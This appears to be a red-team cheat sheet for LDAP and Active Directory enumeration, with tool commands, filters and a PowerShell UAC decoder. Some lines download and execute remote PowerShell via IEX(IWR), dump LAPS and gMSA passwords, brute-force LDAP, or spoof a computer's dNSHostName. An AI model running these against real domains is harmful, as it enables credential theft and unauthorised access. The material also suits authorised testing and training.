LDAP

Lightweight Directory Access Protocol

• http://jxplorer.org/

• https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772839(v=ws.10)?redirectedfrom=MSDN

• http://www.kouti.com/tables/userattributes.htm

• https://offsec.almond.consulting/ldap-authentication-in-active-directory-environments.html

• https://www.mdsec.co.uk/2024/02/active-directory-enumeration-for-red-teams/

LDAP Authentication Protocols (Almond)

Check if LDAPS was ever correctly configured:

$ openssl s_client -host 192.168.1.11 -port 636

Theory

Some Extensible Match Matching Rules:

Rule Name	OID	Description
LDAP_MATCHING_RULE_BIT_AND	1.2.840.113556.1.4.803	True if all bits from the attribute match the value (bitwise AND).
LDAP_MATCHING_RULE_BIT_OR	1.2.840.113556.1.4.804	True if any bits from the attribute match the value (bitwise OR).
LDAP_MATCHING_RULE_IN_CHAIN	1.2.840.113556.1.4.1941	Used to provide a method to look up the ancestry of an object and is is limited to filters that apply to the DN.

UserAccountControl

• https://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/

Decode UAC Values

• http://woshub.com/decoding-ad-useraccountcontrol-value/

DecodeUserAccountControl.ps1

# Usage: DecodeUserAccountControl <UAC_VALUE>
Function DecodeUserAccountControl ([int]$UAC)
{
	$UACPropertyFlags = @(
		"SCRIPT",
		"ACCOUNTDISABLE",
		"RESERVED",
		"HOMEDIR_REQUIRED",
		"LOCKOUT",
		"PASSWD_NOTREQD",
		"PASSWD_CANT_CHANGE",
		"ENCRYPTED_TEXT_PWD_ALLOWED",
		"TEMP_DUPLICATE_ACCOUNT",
		"NORMAL_ACCOUNT",
		"RESERVED",
		"INTERDOMAIN_TRUST_ACCOUNT",
		"WORKSTATION_TRUST_ACCOUNT",
		"SERVER_TRUST_ACCOUNT",
		"RESERVED",
		"RESERVED",
		"DONT_EXPIRE_PASSWORD",
		"MNS_LOGON_ACCOUNT",
		"SMARTCARD_REQUIRED",
		"TRUSTED_FOR_DELEGATION",
		"NOT_DELEGATED",
		"USE_DES_KEY_ONLY",
		"DONT_REQ_PREAUTH",
		"PASSWORD_EXPIRED",
		"TRUSTED_TO_AUTH_FOR_DELEGATION",
		"RESERVED",
		"PARTIAL_SECRETS_ACCOUNT"
		"RESERVED"
		"RESERVED"
		"RESERVED"
		"RESERVED"
		"RESERVED"
	)
	$Attributes = ""
	1..($UACPropertyFlags.Length) | Where-Object {$UAC -bAnd [math]::Pow(2,$_)} | ForEach-Object {If ($Attributes.Length -Eq 0) {$Attributes = $UACPropertyFlags[$_]} Else {$Attributes = $Attributes + " | " + $UACPropertyFlags[$_]}}
	Return $Attributes
}

Object-Guids

Convert MS LDAP objectGUID to bytes:

import uuid
import struct

def uuid_to_ms_guid_bytes(uuid_string):
    u = uuid.UUID(uuid_string)

    # MS GUIDs use mixed endianness:
    #  first 3 components are little-endian
    #  last 2 components are big-endian
    return struct.pack('<IHH', u.time_low, u.time_mid, u.time_hi_version) + \
		struct.pack('>Q', u.node | (u.clock_seq << 48))[-8:]

Mitigations

• https://github.com/zyn3rgy/LdapRelayScan

• https://specterops.io/blog/2025/11/25/less-praying-more-relaying-enumerating-epa-enforcement-for-mssql-and-https/

• https://github.com/zyn3rgy/RelayInformer

Scan for LDAP Singing and LDAPS Channel Binding:

$ python3 LdapRelayScan.py -method BOTH -dc-ip 192.168.1.11 -u snovvcrash -p 'Passw0rd!'
$ cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M ldap-checker
$ for dc in `cat discover/hosts/dc_ip.txt`; do cme ldap $dc -u snovvcrash -p 'Passw0rd!' -M ldap-checker | grep -ae NOT -e PWN --color=never; done

LDAP Signing & LDAPS Channel Binding

• https://offsec.almond.consulting/bypassing-ldap-channel-binding-with-starttls.html

Property Name	Property Path
LdapServerIntegrity	HKLM\System\CurrentControlSet\Services\NTDS\Parameters\
LdapEnforceChannelBinding	HKLM\System\CurrentControlSet\Services\NTDS\Parameters\

If LdapServerIntegrity is set to 2, LDAP Signing is required:

PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapServerIntegrity

If LdapEnforceChannelBinding is set to 2, LDAPS Channel Binding is always required:

PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapEnforceChannelBinding

Tools

RSAT-AD-PowerShell

Install via Capabilities (Windows clients):

PS > Get-WindowsCapability -Name RSAT* -Online | select Name,State
PS > Get-WindowsCapability -Name RSAT* -Online | ? {$_.Name -match "Rsat.ActiveDirectory.DS-LDS.Tools"} | Add-WindowsCapability -Online

Or via Features (Windows servers):

PS > Get-WindowsFeature | ? {$_.Name -match "RSAT"}
PS > Add-WindowsFeature RSAT-AD-PowerShell

Install via ADModule:

• https://github.com/samratashok/ADModule/blob/master/Import-ActiveDirectory.ps1

• https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/ADModuleImport.ps1

PS > IEX(IWR "https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1" -UseBasicParsing)
PS > Import-ActiveDirectory
Or
PS > IEX(IWR "https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1" -UseBasicParsing)

Example Queries

List disabled users (when searching for users use objectCategory + objectClass filters):

PS > Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' -Properties samAccountName | select samAccountName

Count users, groups and computers:

PS > (Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=computer)(objectClass=computer))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=group)(objectClass=group))' | measure).count

List users with DoesNotRequirePreAuth set (aka asreproastable):

PS > Get-ADUser -Filter {DoesNotRequirePreAuth -eq "True"} -Properties DoesNotRequirePreAuth | select DoesNotRequirePreAuth,samAccountName | fl

List accounts with SPN(s) set (aka kerberoastable) and which are also in Protected Users group:

PS > Get-ADUser -Filter {memberOf -eq "CN=Protected Users,CN=Users,DC=MEGACORP,DC=LOCAL"} -Properties * | select samAccountName,servicePrincipalName,memberOf | fl
Or
PS > Get-ADGroupMember "Protected Users" | Get-ADUser -Properties * | ? {$_.servicePrincipalName -ne $null} | select samAccountName,servicePrincipalName,memberOf | fl

List all groups that j.doe is a member of:

PS > Get-ADPrincipalGroupMembership j.doe | select name

List all groups (including nested groups) that j.doe is a member of:

PS > Get-ADGroup -Filter {member -RecursiveMatch "CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL"} | select name
Or
PS > Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL)' | select name

List members of IT Support group through nested group membership:

PS > Get-ADGroupMember "IT Support" -Recursive

List users marked as trusted for delegation (TRUSTED_FOR_DELEGATION UAC value is 524288):

PS > Get-ADUser -Filter {trustedForDelegation -eq "True"} -Properties * | select samAccountName,trustedForDelegation | fl
Or
PS > Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties * | select objectClass,distinguishedName | fl

Find the number of users in the Helpdesk OU:

PS > Get-ADOrganizationalUnit -Filter {Name -like "*Helpdesk*"} | select distinguishedName
PS > (Get-ADUser -SearchBase "OU=Helpdesk,OU=Employees,DC=MEGACORP,DC=LOCAL" -SearchScope SubTree -Filter *).count

Find all user's whose name starts with John, which are not part of Fired and Contractors OU, and print all groups that they are members of (including nested groups):

PS > Get-ADUser -Filter {name -like "John*"} | ? {$_.DistinguishedName -notlike "*Fired*" -and $_.DistinguishedName -notlike "*Contractors*"} | % {Write-Host $_.name":"; (Get-ADGroup -Filter {member -RecursiveMatch $_.distinguishedName}).name}

Find users with description field filled (one-liner):

PS > Get-ADUser -LDAPFilter '(&(objectCategory=user)(description=*))' -Properties * | select samaccountname,description

Find users with a null password (PASSWD_NOTREQD UAC value is 32):

PS > Get-ADUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))' -Properties * | select name,memberof | fl

Create a new domain user account:

PS > New-ADUser -Name snovvcrash -SamAccountName snovvcrash -Path "CN=Users,DC=megacorp,DC=local" -AccountPassword(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Enabled $true

List deleted AD objects (AD recycle bin):

PS > Get-ADObject -Filter {isDeleted -eq $true -and name -ne "Deleted Objects"} -IncludeDeletedObjects
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -IncludeDeletedObjects -Properties * | ft -autosize -wrap

ldap3 (Python)

Check if anonymous bind is allowed:

>>> from ldap3 import Server, Connection, ALL
>>> s = Server('192.168.1.11', get_info=ALL)
>>> c = Connection(s, user='', password='')
>>> c.bind()
>>> s.info

ldap-utils

ldapsearch

• https://malicious.link/post/2022/ldapsearch-reference/

Install:

$ sudo apt install ldap-utils libsasl2-modules-gssapi-mit -y

Basic syntax:

$ ldapsearch -h 192.168.1.11 -x -s <SCOPE> -b <BASE_DN> <QUERY> [<ATTRIBUTE> <ATTRIBUTE> ...]

Get base naming contexts:

$ ldapsearch -h 192.168.1.11 -x -s base namingcontexts

Extract data for the whole domain catalog and then grep your way through:

$ ldapsearch -h 192.168.1.11 -x -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
$ cat ldapsearch.out | grep -i memberof

Or filter out only what you need:

$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(&(objectCategory=person)(objectClass=user))' sAMAccountName sAMAccountType

Get Remote Management Users group:

$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(memberOf=CN=Remote Management Users,OU=Groups,OU=UK,DC=megacorp,DC=local)' | grep -i memberof

Dump LAPS passwords:

$ ldapsearch -h 192.168.1.11 -x -b "dc=megacorp,dc=local" '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd

Simple authentication with a plaintext password:

$ ldapsearch -H ldap://192.168.1.11:389 -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w 'Passw0rd!' -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out

SASL GSSAPI (Kerberos) authentication (there should be both A and PTR DNS records of the DC for this to work):

$ sudo apt install libsasl2-modules-gssapi-mit
$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'
$ export KRB5CCNAME=`pwd`/snovvcrash.ccache
$ ldapsearch -H ldap://DC01.megacorp.local:389 -Y GSSAPI -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out

Analyze large output for anomalies by searching for unique strings:

$ cat ldapsearch.out | awk '{print $1}' | sort | uniq -c | sort -nr

ldapmodify

An example of removing SPNs and changing dNSHostName (see dNSHostName Spoofing (Certifried)):

$ ldapmodify -H ldap://DC01.megacorp.local -Y GSSAPI -f spoof.ldiff
$ ldapsearch -H ldap://DC01.megacorp.local -Y GSSAPI -b "DC=megacorp,DC=local" '(&(objectCategory=computer)(sAMAccountName=fakemachine$))' servicePrincipalName dNSHostName

spoof.ldiff

dn: CN=FAKEMACHINE,CN=Computer,DC=megacorp,DC=local
changetype: modify
delete: servicePrincipalName
-
replace: dNSHostName
dNSHostName: dc01.megacorp.local

windapsearch

• https://github.com/ropnop/windapsearch

• https://github.com/snovvcrash/windapsearch

Enumerate domain function functional level with LDAP anonymous bind:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u '' --functionality

Enumerate users in Protected Users group which are also trusted for unconstrained delegation:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -m 'Protected Users' --attrs trustedForDelegation

Find what OU is the user John Doe part of:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U --full | grep distinguishedName | grep j.doe

Query LDAP for all domain computer accounts (+ try to resolve their IPs with -r flag) and save results into a csv file:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -C -r | tee ~/ws/enum/all-computers.csv

go-windapsearch

• https://github.com/ropnop/go-windapsearch

Find user accounts which require smart card authentication (SMARTCARD_REQUIRED UAC value is 262144):

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectClass=person)(userAccountControl:1.2.840.113556.1.4.803:=262144))' --attrs dn

Get password history size in the domain:

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectClass=domainDNS)' --attrs pwdHistoryLength

Search for service accounts configured for constrained delegation:

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m computers --attrs msDS-ManagedPassword

Dump all users info:

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m users --full | tee ~/ws/enum/ldap-users.txt

ldapsearch-ad

• https://github.com/yaap7/ldapsearch-ad

Enumerate password policy in the domain:

$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t pass-pols

Run all checks:

$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t all

gMSADumper

• https://github.com/micahvandeusen/gMSADumper

$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p 'Passw0rd!'
$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p fc525c9683e8fe067095ba2ddc971889:fc525c9683e8fe067095ba2ddc971889

ldeep

• https://github.com/franc-pentest/ldeep

Enumerate ACEs of the AdminSDHolder object:

$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' -b 'CN=System,DC=megacorp,DC=local' sddl AdminSDHolder | jq '.[].nTSecurityDescriptor.DACL.ACEs[] | select(.Type | contains("Allowed")) | .SID + " :: " + .Type'

Convert SID to name:

$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' from_sid <SID>

Nmap NSE

$ nmap -n -Pn -sV --script ldap-rootdse 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-search 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-brute 192.168.1.11 -p389

LDAPmonitor

• https://github.com/p0dalirius/LDAPmonitor

$ ./pyLDAPmonitor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11

ADSpider

• https://habr.com/ru/companies/angarasecurity/articles/697938/

• https://github.com/DrunkF0x/ADSpider

SilentHound

• https://github.com/snovvcrash/SilentHound

$ python3 silenthound.py -u [email protected] -p 'Passw0rd!' 192.168.1.11 megacorp.local -o megacorp